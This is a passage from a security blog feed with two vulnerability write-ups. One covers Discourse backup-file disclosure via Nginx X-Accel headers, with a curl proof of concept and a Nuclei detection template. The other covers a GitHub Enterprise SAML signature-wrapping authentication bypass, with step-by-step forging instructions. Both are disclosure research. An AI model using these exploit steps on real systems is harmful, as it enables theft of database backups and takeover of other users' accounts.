  <li><strong>Time of Backup (</strong>HHMMSS**): **Time is in a 24-hour format with a specific timestamp (e.g., 002005). This can also be bruteforced with approximately 86,400 combinations (total requests for a day).</li>
  <li><strong>Migration Stamp (</strong>v<Migration_Stamp>**)**: The migration stamp corresponds to the Git commit version and associated migration timestamp in the /db/migrate/ directory. Discourse publicly discloses the current Git commit hash on its homepage, which can be used to derive this value of the targeted discourse instance.</Migration_Stamp></li>
</ul>

<blockquote>
  <p><strong>Proof of Concept:</strong></p>

  <p>curl -k -o db.tar.gz -H ‘X-Sendfile-Type: X-Accel-Redirect’ -H ‘X-Accel-Mapping: .*=/downloads/backups/default/projectdiscovery-discourse-2024-11-15-002501-v20241112145744.tar.gz’ -H ‘Cache-Control: max-age=0’ ‘https://discourse.projectdiscovery.io/stylesheets/discourse-local-dates_2395204b3c92cea17bdcc4e554cc7d12e032b555.css?cb=1’</p>
</blockquote>

<h2 id="nuclei-template">Nuclei Template</h2>

<p>The Nuclei template used to detect this vulnerability is available on GitHub and the ProjectDiscovery Platform.</p>

<p>Platform URL: <a href="https://cloud.projectdiscovery.io/?template=CVE-2024-53991">https://cloud.projectdiscovery.io/?template=CVE-2024-53991</a>
GitHub PR: <a href="https://github.com/projectdiscovery/nuclei-templates/pull/11773">https://github.com/projectdiscovery/nuclei-templates/pull/11773</a></p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">id</span><span class="pi">:</span> <span class="s">CVE-2024-53991</span>

<span class="na">info</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">Discourse Backup File Disclosure Via Default Nginx Configuration</span>
  <span class="na">author</span><span class="pi">:</span> <span class="s">iamnoooob,rootxharsh,pdresearch</span>
  <span class="na">severity</span><span class="pi">:</span> <span class="s">high</span>
  <span class="na">description</span><span class="pi">:</span> <span class="pi">|</span>
    <span class="s">Discourse is an open source platform for community discussion. This vulnerability only impacts Discourse instances configured to use `FileStore--LocalStore` which means uploads and backups are stored locally on disk. If an attacker knows the name of the Discourse backup file, the attacker can trick nginx into sending the Discourse backup file with a well crafted request.</span>
  <span class="na">remediation</span><span class="pi">:</span> <span class="pi">|</span>
    <span class="s">This issue is patched in the latest stable, beta and tests-passed versions of Discourse. Users are advised to upgrade. Users unable to upgrade can either 1. Download all local backups on to another storage device, disable the `enable_backups` site setting and delete all backups until the site has been upgraded to pull in the fix. Or  2. Change the `backup_location` site setting to `s3` so that backups are stored and downloaded directly from S3.</span>
  <span class="na">reference</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="s">https://projectdiscovery.io/blog/discourse-backup-disclosure-rails-send_file-quirk/</span>
    <span class="pi">-</span> <span class="s">https://github.com/discourse/discourse/security/advisories/GHSA-567m-82f6-56rv</span>
  <span class="na">classification</span><span class="pi">:</span>
    <span class="na">cvss-metrics</span><span class="pi">:</span> <span class="s">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</span>
    <span class="na">cvss-score</span><span class="pi">:</span> <span class="m">7.5</span>
    <span class="na">cve-id</span><span class="pi">:</span> <span class="s">CVE-2024-53991</span>
    <span class="na">cwe-id</span><span class="pi">:</span> <span class="s">CWE-200</span>
    <span class="na">epss-score</span><span class="pi">:</span> <span class="m">0.00121</span>
    <span class="na">epss-percentile</span><span class="pi">:</span> <span class="m">0.28736</span>
  <span class="na">metadata</span><span class="pi">:</span>
    <span class="na">shodan-query</span><span class="pi">:</span> <span class="s">http.component:"Discourse"</span>
  <span class="na">tags</span><span class="pi">:</span> <span class="s">cve,cve2024,discourse,disclosure</span>

<span class="na">http</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">raw</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="pi">|</span>
        <span class="s">GET / HTTP/1.1</span>
        <span class="s">Host: </span>

    <span class="na">extractors</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="na">type</span><span class="pi">:</span> <span class="s">regex</span>
        <span class="na">part</span><span class="pi">:</span> <span class="s">body</span>
        <span class="na">name</span><span class="pi">:</span> <span class="s">styles</span>
        <span class="na">group</span><span class="pi">:</span> <span class="m">1</span>
        <span class="na">regex</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="s1">'</span><span class="s">href="(/stylesheets/discourse-.*?)"'</span>
        <span class="na">internal</span><span class="pi">:</span> <span class="kc">true</span>

  <span class="pi">-</span> <span class="na">raw</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="pi">|</span>
        <span class="s">GET &amp;cachebuster= HTTP/1.1</span>
        <span class="s">Host: </span>
        <span class="s">X-Sendfile-Type: X-Accel-Redirect</span>
        <span class="s">X-Accel-Mapping: .*=/downloads/backups/default/</span>

    <span class="na">matchers</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="na">type</span><span class="pi">:</span> <span class="s">dsl</span>
        <span class="na">dsl</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="s1">'</span><span class="s">status_code</span><span class="nv"> </span><span class="s">==</span><span class="nv"> </span><span class="s">403'</span>
          <span class="pi">-</span> <span class="s1">'</span><span class="s">contains(content_type,</span><span class="nv"> </span><span class="s">"text/html")'</span>
          <span class="pi">-</span> <span class="s1">'</span><span class="s">contains(response,</span><span class="nv"> </span><span class="s">"discourse")'</span>
        <span class="na">condition</span><span class="pi">:</span> <span class="s">and</span>
</code></pre></div></div>

<h2 id="disclosure-timeline">Disclosure Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Event</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>17th November 2024</td>
      <td>ProjectDiscovery discovers the misconfiguration and responsibly reported it to the Discourse team.</td>
    </tr>
    <tr>
      <td>25th November 2024</td>
      <td>Discourse team triaged the report and acknowledged the issue.</td>
    </tr>
    <tr>
      <td>19th December 2024</td>
      <td>The vulnerability was marked as resolved by the Discourse team.</td>
    </tr>
    <tr>
      <td>20th March 2025</td>
      <td>After the standard 90-day disclosure period, the blog post with vulnerability details was publicly disclosed.</td>
    </tr>
  </tbody>
</table>

<h2 id="conclusion">Conclusion</h2>

<p>This case study highlights how seemingly robust security mechanisms can introduce unintended vulnerabilities when their interactions are not fully understood. The combination of Rack’s send_file method and Nginx’s internal directive serves as a reminder that security is not just about enabling protective measures but ensuring they are configured correctly to prevent unintended access.</p>

<p>To help security teams identify and mitigate this issue in their Discourse deployment, we have created a Nuclei template that automates the detection of misconfigurations leading to file exposure. This template is also integrated into the <a href="https://cloud.projectdiscovery.io/">ProjectDiscovery Cloud platform</a>, enabling our customers to proactively scan for this vulnerability as part of their continuous security assessments.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Note - This is cross post from our work at Projectdiscovery Blog]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://httpvoid.com/assets/cover.png" /><media:content medium="image" url="https://httpvoid.com/assets/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">GitHub Enterprise SAML Authentication Bypass (CVE-2024-4985 / CVE-2024-9487)</title><link href="https://httpvoid.com/GitHub-Enterprise-SAML-Authentication-Bypass.md" rel="alternate" type="text/html" title="GitHub Enterprise SAML Authentication Bypass (CVE-2024-4985 / CVE-2024-9487)" /><published>2024-11-12T00:00:00+00:00</published><updated>2024-11-12T00:00:00+00:00</updated><id>https://httpvoid.com/GitHub-Enterprise-SAML-Authentication-Bypass</id><content type="html" xml:base="https://httpvoid.com/GitHub-Enterprise-SAML-Authentication-Bypass.md"><![CDATA[<p>Note - This is cross post from our work at <a href="https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass">Projectdiscovery Blog</a></p>

<h2 id="introduction">Introduction</h2>

<p>In light of the recent <a href="https://projectdiscovery.io/blog/ruby-saml-gitlab-auth-bypass/">Ruby-SAML bypass discovered in GitLab</a>, we set out to examine the SAML implementation within GitHub Enterprise. During our research, we identified a significant vulnerability that enabled bypassing GitHub’s SAML authentication when encrypted assertions were in use.</p>

<p>This blog post will provide an in-depth look at GitHub Enterprise’s SAML implementation and analyze the specific code issue that permitted this bypass. Although we uncovered this vulnerability independently, it was reported to GitHub just two days prior to our findings. GitHub has since released a patch to address the flaw, though initial fixes required additional updates to be fully effective. This issue is now cataloged under CVE-2024-9487 and CVE-2024-4985.</p>

<blockquote>
  <p><strong>HIGH</strong>: An attacker could bypass SAML single sign-on (SSO) authentication with the optional encrypted assertions feature, allowing unauthorized provisioning of users and access to the instance, by exploiting an improper verification of cryptographic signatures vulnerability in GitHub Enterprise Server. This is a follow up fix for <a href="https://www.cve.org/cverecord?id=CVE-2024-9487">CVE-2024-9487</a> to further harden the encrypted assertions feature against this type of attack.</p>
</blockquote>

<h2 id="technical-analysis">Technical Analysis</h2>

<p>Let’s see how GitHub handles document extraction, signature validation, and the security measures in place. We’ll spin up a GitHub instance and set up the SAML configuration. In this process, the SAML callback validates the CSRF token (RelayState), which is unique to each state and SAML response. This makes it difficult to test and debug.</p>

<p>To bypass this challenge, we’ll use the Ruby code responsible for SAML handling locally. The SAML implementation resides in ./lib/saml/ (and in ./lib/saml.rb). We’ll patch this library to work in our local environment by:</p>

<ul>
  <li>Removing GitHub-specific constants and references without affecting the validation logic.</li>
  <li>Disabling <code class="language-plaintext highlighter-rouge">validate_conditions</code> to bypass time-based verification checks.</li>
  <li>Using <code class="language-plaintext highlighter-rouge">require_relative</code> within <code class="language-plaintext highlighter-rouge">./lib/saml.rb</code> to load the necessary files locally.</li>
  <li>Finally, requiring <code class="language-plaintext highlighter-rouge">./saml</code> to link the components together.</li>
</ul>

<p>Let’s start with this code to mimic GitHub SAML implementation locally:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">require</span> <span class="s2">"./saml"</span>
<span class="nb">require</span> <span class="s2">"base64"</span>
<span class="nb">require</span> <span class="s1">'openssl'</span>

<span class="n">key</span> <span class="o">=</span> <span class="no">File</span><span class="p">.</span><span class="nf">open</span><span class="p">(</span><span class="s1">'/tmp/github_saml.pem'</span><span class="p">).</span><span class="nf">read</span><span class="p">()</span> <span class="c1">#Github SAML SP's private key (used here to decypt stuff since we want to mimic the whole flow)</span>

<span class="n">cert</span> <span class="o">=</span> <span class="o">&lt;&lt;-</span><span class="no">CERT</span><span class="sh">
cert_here
</span><span class="no">CERT</span>

<span class="vi">@props</span> <span class="o">=</span> <span class="p">{</span>  
  <span class="ss">:sp_url</span> <span class="o">=&gt;</span> <span class="s2">"https://[REDACTED_IP_ADDRESS]"</span><span class="p">,</span> 
  <span class="ss">:sso_url</span> <span class="o">=&gt;</span> <span class="s2">"https://[REDACTED_OKTA_URL]/app/[REDACTED]/sso/saml"</span><span class="p">,</span> 
  <span class="ss">:assertion_consumer_service_url</span> <span class="o">=&gt;</span> <span class="s2">"https://[REDACTED_OKTA_URL]/app/[REDACTED]/sso/saml"</span><span class="p">,</span> 
  <span class="ss">:destination</span> <span class="o">=&gt;</span> <span class="s2">"https://[REDACTED_OKTA_URL]/app/[REDACTED]/sso/saml"</span><span class="p">,</span> 
  <span class="ss">:issuer</span> <span class="o">=&gt;</span> <span class="s2">"http://www.okta.com/[REDACTED]"</span><span class="p">,</span> 
  <span class="ss">:signature_method</span> <span class="o">=&gt;</span> <span class="s2">"http://www.w3.org/2000/09/xmldsig#rsa-sha1"</span><span class="p">,</span> 
  <span class="ss">:digest_method</span> <span class="o">=&gt;</span> <span class="s2">"http://www.w3.org/2000/09/xmldsig#sha1"</span><span class="p">,</span>
  <span class="ss">:idp_certificate</span> <span class="o">=&gt;</span> <span class="n">cert</span>
<span class="p">}</span>

<span class="n">key1</span> <span class="o">=</span> <span class="no">OpenSSL</span><span class="o">::</span><span class="no">PKey</span><span class="o">::</span><span class="no">RSA</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>

<span class="vi">@prop1</span> <span class="o">=</span> <span class="p">{</span><span class="ss">:encrypted_assertions</span> <span class="o">=&gt;</span> <span class="kp">true</span><span class="p">,</span> <span class="ss">:encryption_method</span> <span class="o">=&gt;</span> <span class="s2">"aes-256-cbc"</span><span class="p">,</span> <span class="ss">:key_transport_method</span> <span class="o">=&gt;</span> <span class="s2">"rsa-oaep"</span><span class="p">,</span> <span class="ss">:key</span> <span class="o">=&gt;</span> <span class="n">key1</span><span class="p">}</span>

<span class="n">saml_resp</span> <span class="o">=</span> <span class="no">Base64</span><span class="p">.</span><span class="nf">encode64</span><span class="p">(</span><span class="no">File</span><span class="p">.</span><span class="nf">open</span><span class="p">(</span><span class="s1">'resp.xml'</span><span class="p">).</span><span class="nf">read</span><span class="p">())</span>
<span class="n">xml</span> <span class="o">=</span> <span class="o">::</span><span class="no">SAML</span><span class="o">::</span><span class="no">Message</span><span class="o">::</span><span class="no">Response</span><span class="p">.</span><span class="nf">from_param</span><span class="p">(</span><span class="n">saml_resp</span><span class="p">,</span> <span class="vi">@prop1</span><span class="p">)</span> <span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="nb">puts</span> <span class="s2">"Signature verified: "</span> <span class="o">+</span> <span class="no">String</span><span class="p">(</span><span class="n">xml</span><span class="p">.</span><span class="nf">valid?</span><span class="p">(</span><span class="vi">@props</span><span class="p">))</span> <span class="p">[</span><span class="mi">2</span><span class="p">]</span>
<span class="nb">puts</span> <span class="s2">"NameID Email - "</span> <span class="o">+</span> <span class="n">xml</span><span class="p">.</span><span class="nf">name_id</span>
</code></pre></div></div>

<p>Let’s begin with a sample valid SAML response. Below is a simplified version of the response structure:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;samlp:Response</span> <span class="na">ID=</span><span class="s">"123"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;ds:Signature&gt;</span>
        <span class="nt">&lt;ds:SignedInfo&gt;</span>
            <span class="nt">&lt;ds:Refernce</span> <span class="na">URI=</span><span class="s">"#123"</span><span class="nt">&gt;&lt;/ds:Refernce&gt;</span>
        <span class="nt">&lt;/ds:SignedInfo&gt;</span>
    <span class="nt">&lt;/ds:Signature&gt;</span>
    <span class="nt">&lt;saml:EncryptedAssertion&gt;</span>
            enc assertion here
	<span class="nt">&lt;/saml:EncryptedAssertion&gt;</span>
<span class="nt">&lt;/samlp:Response&gt;</span>
</code></pre></div></div>

<p>When we call <code class="language-plaintext highlighter-rouge">from_param</code> it does this:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">build()</code> – This method extracts signatures before attempting decryption.
    <ul>
      <li><code class="language-plaintext highlighter-rouge">decrypt()</code> – If the message is encrypted, it decrypts the content.
        <ul>
          <li><code class="language-plaintext highlighter-rouge">parse()</code> – This method processes the message information, specifically extracting details from the <code class="language-plaintext highlighter-rouge">/samlp:Response/saml:Assertion</code> block. Returns Message.</li>
        </ul>
      </li>
    </ul>
  </li>
</ul>

<p>Within Message.rb, the build method performs signature extraction if GitHub encrypted assertions are enabled at point [1]. If no signatures were extracted prior to decryption, the method attempts to extract signatures again after decryption at point [2]. <strong>But only if no signatures were extracted earlier.</strong></p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">build</span><span class="p">(</span><span class="n">xml</span><span class="p">,</span> <span class="n">options</span> <span class="o">=</span> <span class="p">{})</span>
  <span class="k">if</span> <span class="no">GitHub</span><span class="p">.</span><span class="nf">enterprise?</span> <span class="o">&amp;&amp;</span> <span class="no">GitHub</span><span class="p">.</span><span class="nf">saml_encrypted_assertions?</span>
    <span class="n">signatures</span> <span class="o">=</span> <span class="n">message_class</span><span class="p">.</span><span class="nf">signatures</span><span class="p">(</span><span class="n">doc</span><span class="p">)</span> <span class="c1"># [1]</span>
    <span class="n">decrypt_errors</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="n">plain_doc</span> <span class="o">=</span> <span class="n">message_class</span><span class="p">.</span><span class="nf">decrypt</span><span class="p">(</span><span class="n">doc</span><span class="p">,</span> <span class="n">options</span><span class="p">,</span> <span class="n">decrypt_errors</span><span class="p">)</span>
    <span class="n">signatures</span> <span class="o">=</span> <span class="n">message_class</span><span class="p">.</span><span class="nf">signatures</span><span class="p">(</span><span class="n">plain_doc</span><span class="p">)</span> <span class="k">if</span> <span class="n">signatures</span><span class="p">.</span><span class="nf">empty?</span> <span class="c1"># [2]</span>
  <span class="o">...</span>
  <span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<p>Next step is to decrypt the encrypted assertion and replace that node with the decrypted assertion.</p>

<p>The next step is to duplicate the entire SAML response document. On this duplicated document, we will replace the encrypted assertion with the decrypted version. This results in a SAML response where the encrypted assertion is removed, and the decrypted assertion takes its place in the duplicated document. However, only one signature will be extracted.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;Response</span> <span class="na">ID=</span><span class="s">"123"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;Signature&gt;</span> // [1]
		
        <span class="nt">&lt;SignedInfo&gt;</span>
            <span class="nt">&lt;Refernce</span> <span class="na">URI=</span><span class="s">"#123"</span><span class="nt">&gt;&lt;/Refernce&gt;</span>
        <span class="nt">&lt;/SignedInfo&gt;</span>
    <span class="nt">&lt;/Signature&gt;</span>
    <span class="nt">&lt;Assertion</span> <span class="na">ID=</span><span class="s">"789"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;Signature&gt;</span> // [2]
			
            <span class="nt">&lt;SignedInfo&gt;</span>
                <span class="nt">&lt;Refernce</span> <span class="na">URI=</span><span class="s">"#789"</span><span class="nt">&gt;&lt;/Refernce&gt;</span>
            <span class="nt">&lt;/SignedInfo&gt;</span>
        <span class="nt">&lt;/Signature&gt;</span>
    <span class="nt">&lt;/Assertion&gt;</span>
<span class="nt">&lt;/Response&gt;</span>
</code></pre></div></div>

<p>This is okay since the one signature it has is of whole response so when it validates that signature, it will pass the whole original response (with encrypted assertion) and it would work and pass signature validation as expected. We’ll discuss later how this can create potential issues, but for now, let’s continue following the logical flow. After the decryption step, it returns a Message object containing the decrypted assertions.</p>

<p>GitHub’s valid? function essentially aims to keep the flow error-free. If an error occurs at any point during the process, it is appended to an error variable. Once all the checks are completed, the function inspects the error variable. If it is not empty, the validation fails.</p>

<p>These are the main functions we want to bypass:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">valid?</code>
    <ul>
      <li><code class="language-plaintext highlighter-rouge">vaidate_schema()</code></li>
      <li><code class="language-plaintext highlighter-rouge">validate()</code>
        <ul>
          <li><code class="language-plaintext highlighter-rouge">validate_has_signature</code>
            <ul>
              <li><code class="language-plaintext highlighter-rouge">has_root_sig_and_matching_ref?</code></li>
              <li><code class="language-plaintext highlighter-rouge">OR // you need to return true in one</code></li>
              <li><code class="language-plaintext highlighter-rouge">all_assertions_signed_with_matching_ref?</code></li>
            </ul>
          </li>
          <li><code class="language-plaintext highlighter-rouge">validate_assertion_digest_values</code></li>
          <li><code class="language-plaintext highlighter-rouge">validate_signatures_ghes</code>
            <ul>
              <li><code class="language-plaintext highlighter-rouge">signatures.all? { |signature| signature.valid?(certificate) }</code></li>
            </ul>
          </li>
        </ul>
      </li>
    </ul>
  </li>
</ul>

<p>Let’s examine the <code class="language-plaintext highlighter-rouge">validate_has_signature</code> method:</p>

<p>This validation checks if there is a signature outside the assertion block that matches the root (Response) ID. Meaning that the entire response is considered signed, and the function returns true.</p>

<p>However, if no such signature exists, the method ensures that every assertion block within the document contains its own signature. In this case, the signature’s reference must match the parent assertion’s ID. This additional check is crucial to prevent signature wrapping attacks, where an attacker could attempt to insert malicious assertions into the document by manipulating signatures.</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Validate that the SAML message (root XML element of SAML response)</span>
<span class="c1"># or all contained assertions are signed</span>
<span class="c1">#</span>
<span class="c1"># Verification of signatures is done in #validate_signatures</span>
<span class="k">def</span> <span class="nf">validate_has_signature</span>
  <span class="c1"># Return early if entire response is signed. This prevents individual</span>
  <span class="c1"># assertions from being tampered because any change in the response</span>
  <span class="c1"># would invalidate the entire response.</span>
  <span class="k">return</span> <span class="k">if</span> <span class="n">has_root_sig_and_matching_ref?</span>
  <span class="k">return</span> <span class="k">if</span> <span class="n">all_assertions_signed_with_matching_ref?</span>

  <span class="nb">self</span><span class="p">.</span><span class="nf">errors</span> <span class="o">&lt;&lt;</span> <span class="s2">"SAML Response is not signed or has been modified."</span>
<span class="k">end</span>

<span class="k">def</span> <span class="nf">has_root_sig_and_matching_ref?</span>
  <span class="k">return</span> <span class="kp">true</span> <span class="k">if</span> <span class="no">SAML</span><span class="p">.</span><span class="nf">mocked</span><span class="p">[</span><span class="ss">:mock_root_sig</span><span class="p">]</span>
  <span class="n">root_ref</span> <span class="o">=</span> <span class="n">document</span><span class="p">.</span><span class="nf">at</span><span class="p">(</span><span class="s2">"/saml2p:Response/ds:Signature/ds:SignedInfo/ds:Reference"</span><span class="p">,</span> <span class="n">namespaces</span><span class="p">)</span>
  <span class="k">return</span> <span class="kp">false</span> <span class="k">unless</span> <span class="n">root_ref</span>
  <span class="n">root_ref_uri</span> <span class="o">=</span> <span class="no">String</span><span class="p">(</span><span class="no">String</span><span class="p">(</span><span class="n">root_ref</span><span class="p">[</span><span class="s2">"URI"</span><span class="p">])[</span><span class="mi">1</span><span class="o">..-</span><span class="mi">1</span><span class="p">])</span> <span class="c1"># chop off leading #</span>
  <span class="k">return</span> <span class="kp">false</span> <span class="k">unless</span> <span class="n">root_ref_uri</span><span class="p">.</span><span class="nf">length</span> <span class="o">&gt;</span> <span class="mi">1</span>
  <span class="n">root_rep</span> <span class="o">=</span> <span class="n">document</span><span class="p">.</span><span class="nf">at</span><span class="p">(</span><span class="s2">"/saml2p:Response"</span><span class="p">,</span> <span class="n">namespaces</span><span class="p">)</span>
  <span class="n">root_id</span> <span class="o">=</span> <span class="no">String</span><span class="p">(</span><span class="n">root_rep</span><span class="p">[</span><span class="s2">"ID"</span><span class="p">])</span>

  <span class="c1"># and finally does the root ref URI match the root ID?</span>
  <span class="n">root_ref_uri</span> <span class="o">==</span> <span class="n">root_id</span>
<span class="k">end</span>

<span class="k">def</span> <span class="nf">all_assertions_signed_with_matching_ref?</span>
  <span class="n">assertions</span> <span class="o">=</span> <span class="n">document</span><span class="p">.</span><span class="nf">xpath</span><span class="p">(</span><span class="s2">"//saml2:Assertion"</span><span class="p">,</span> <span class="n">namespaces</span><span class="p">)</span>
  <span class="n">assertions</span><span class="p">.</span><span class="nf">all?</span> <span class="k">do</span> <span class="o">|</span><span class="n">assertion</span><span class="o">|</span>
    <span class="n">ref</span> <span class="o">=</span> <span class="n">assertion</span><span class="p">.</span><span class="nf">at</span><span class="p">(</span><span class="s2">"./ds:Signature/ds:SignedInfo/ds:Reference"</span><span class="p">,</span> <span class="n">namespaces</span><span class="p">)</span>
    <span class="k">return</span> <span class="kp">false</span> <span class="k">unless</span> <span class="n">ref</span>
    <span class="n">assertion_id</span> <span class="o">=</span> <span class="no">String</span><span class="p">(</span><span class="n">assertion</span><span class="p">[</span><span class="s2">"ID"</span><span class="p">])</span>
    <span class="n">ref_uri</span> <span class="o">=</span> <span class="no">String</span><span class="p">(</span><span class="no">String</span><span class="p">(</span><span class="n">ref</span><span class="p">[</span><span class="s2">"URI"</span><span class="p">])[</span><span class="mi">1</span><span class="o">..-</span><span class="mi">1</span><span class="p">])</span> <span class="c1"># chop off leading #</span>
    <span class="k">return</span> <span class="kp">false</span> <span class="k">unless</span> <span class="n">ref_uri</span><span class="p">.</span><span class="nf">length</span> <span class="o">&gt;</span> <span class="mi">1</span>

    <span class="n">ref_uri</span> <span class="o">==</span> <span class="n">assertion_id</span>
  <span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<p>Next, the <code class="language-plaintext highlighter-rouge">validate_assertion_digest_values</code> function ensures that the digest value of each assertion matches the DigestValue found in the reference node of the corresponding signature. This step verifies only digests and not the signature, that step will happen afterwards via the xmldsig library.</p>

<p>Finally, the <code class="language-plaintext highlighter-rouge">validate_signatures_ghes</code> function calls .valid? on each signature extracted during the <code class="language-plaintext highlighter-rouge">build()</code> process. The library used for this validation is <a href="https://github.com/benoist/xmldsig">benoist/xmldsig</a>.</p>

<p>The core logic of .valid? is as follows:</p>

<ul>
  <li>Find the referenced node for the signature’s URI identifier anywhere in the document (the first occurrence is selected).</li>
  <li>Transform and calculate the digest.</li>
  <li>Verify that the calculated digest matches the DigestValue in the reference node.</li>
  <li>Perform the signature verification.</li>
</ul>

<p>The issue arises, as mentioned earlier, when a signature is found in the response before decrypting an encrypted assertion. The second signature, inside the assertion block, is not accounted for. Even though assertions are required to have a signature, and the signature reference should point to the assertion’s ID (with the digest being validated), the signature itself is never validated.</p>

<p>Now, if we can somehow bypass both <code class="language-plaintext highlighter-rouge">validate_has_signature</code> and <code class="language-plaintext highlighter-rouge">validate_assertion_digest_values</code>, we can reach the xmldsig validation.</p>

<p><strong>Here’s how we can do that:</strong></p>

<ol>
  <li>Obtain a valid SAMLResponse from the IDP</li>
  <li>Modify the Signature node of the Response and add an empty element <code class="language-plaintext highlighter-rouge">&lt;ds:Object&gt;&lt;/ds:Object&gt;</code> just after the <code class="language-plaintext highlighter-rouge">&lt;/ds:KeyInfo&gt;</code>.</li>
  <li>Copy the whole document i.e <code class="language-plaintext highlighter-rouge">/samlp:Response</code> and paste it inside <code class="language-plaintext highlighter-rouge">&lt;ds:Object&gt;{here}&lt;/ds:Object&gt;</code></li>
  <li>Modify the original <code class="language-plaintext highlighter-rouge">/samlp:Response</code>s ID attribute to anything different. Here we are making sure both Reference node URI are pointing to the legit Response element with valid signature (that we moved to <code class="language-plaintext highlighter-rouge">ds:Object</code>).</li>
  <li>Create an Assertion node with respect to the valid schema with victim’’s subject/nameid details and calculate the DigestValue of this modified assertion node and update it in its Signature &gt; SignedInfo &gt; Reference &gt; DigestValue. (Remember due to the original vulnerbility the signature of this encrypted assertion is not validated so the rest of the signature node details doesn’t matter) - This bypasses <code class="language-plaintext highlighter-rouge">validate_has_signatures</code>.</li>
  <li>Now, encrypt this Assertion with the GHE SP’s public key.</li>
  <li>Forward this SAMLResponse and you would be logged in to the victim’s account.</li>
</ol>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;Response</span> <span class="na">ID=</span><span class="s">"11111111"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;Signature&gt;</span>
    <span class="nt">&lt;SignedInfo&gt;</span>
      <span class="nt">&lt;Refernce</span> <span class="na">URI=</span><span class="s">"#123"</span><span class="nt">&gt;&lt;/Refernce&gt;</span>
    <span class="nt">&lt;/SignedInfo&gt;</span>
    <span class="nt">&lt;Object&gt;</span>
      <span class="nt">&lt;Response</span> <span class="na">ID=</span><span class="s">"123"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;Signature&gt;</span>

          <span class="nt">&lt;SignedInfo&gt;</span>
            <span class="nt">&lt;Refernce</span> <span class="na">URI=</span><span class="s">"#123"</span><span class="nt">&gt;&lt;/Refernce&gt;</span>
          <span class="nt">&lt;/SignedInfo&gt;</span>
        <span class="nt">&lt;/Signature&gt;</span>
        <span class="nt">&lt;Assertion</span> <span class="na">ID=</span><span class="s">"789"</span><span class="nt">&gt;</span>
          <span class="nt">&lt;Signature&gt;</span>

            <span class="nt">&lt;SignedInfo&gt;</span>
              <span class="nt">&lt;Refernce</span> <span class="na">URI=</span><span class="s">"#789"</span><span class="nt">&gt;&lt;/Refernce&gt;</span>
            <span class="nt">&lt;/SignedInfo&gt;</span>
          <span class="nt">&lt;/Signature&gt;</span>
        <span class="nt">&lt;/Assertion&gt;</span>
      <span class="nt">&lt;/Response&gt;</span>
    <span class="nt">&lt;/Object&gt;</span>
  <span class="nt">&lt;/Signature&gt;</span>
---- THIS WILL BE ENCRYPTED ----
  <span class="nt">&lt;Assertion</span> <span class="na">ID=</span><span class="s">"789"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;Signature&gt;</span>

      <span class="nt">&lt;SignedInfo&gt;</span>
        <span class="nt">&lt;Refernce</span> <span class="na">URI=</span><span class="s">"#789"</span><span class="nt">&gt;&lt;/Refernce&gt;</span> 
      <span class="nt">&lt;/SignedInfo&gt;</span>
    <span class="nt">&lt;/Signature&gt;</span>
  <span class="nt">&lt;/Assertion&gt;</span>
---- THIS WILL BE ENCRYPTED ----
<span class="nt">&lt;/Response&gt;</span>
</code></pre></div></div>

<p><img src="/assets/imported/GitHub-Enterprise-SAML-Authentication-Bypass/image-3.png" alt="GitHub Enterprise SAML Authentication Bypass command" /></p>

<h2 id="proof-of-concept-poc"><strong>Proof of Concept (PoC)</strong></h2>

<p>We’ve created two <a href="https://github.com/projectdiscovery/nuclei">Nuclei</a> templates for detecting and exploiting <strong>CVE-2024-9487</strong> on GitHub Enterprise:</p>

<ol>
  <li><strong>GitHub Enterprise - SAML (Encrypted) Detection</strong></li>
</ol>

<p>This template detects GitHub Enterprise Server using SAML authentication with encrypted assertions enabled.</p>

<p><a href="https://cloud.projectdiscovery.io/?template=ghe-encrypt-saml">Nuclei Template Link</a></p>

<ol>
  <li><strong>GitHub Enterprise - SAML Authentication Bypass</strong></li>
</ol>

<p>This template bypass GitHub SAML authentication and extract the GitHub session cookie.</p>

<p><a href="https://cloud.projectdiscovery.io/?template=CVE-2024-9487">Nuclei Template Link</a></p>

<p>To run the <strong>CVE-2024-9487</strong> template, use the following command, adjusting the inputs as needed:</p>

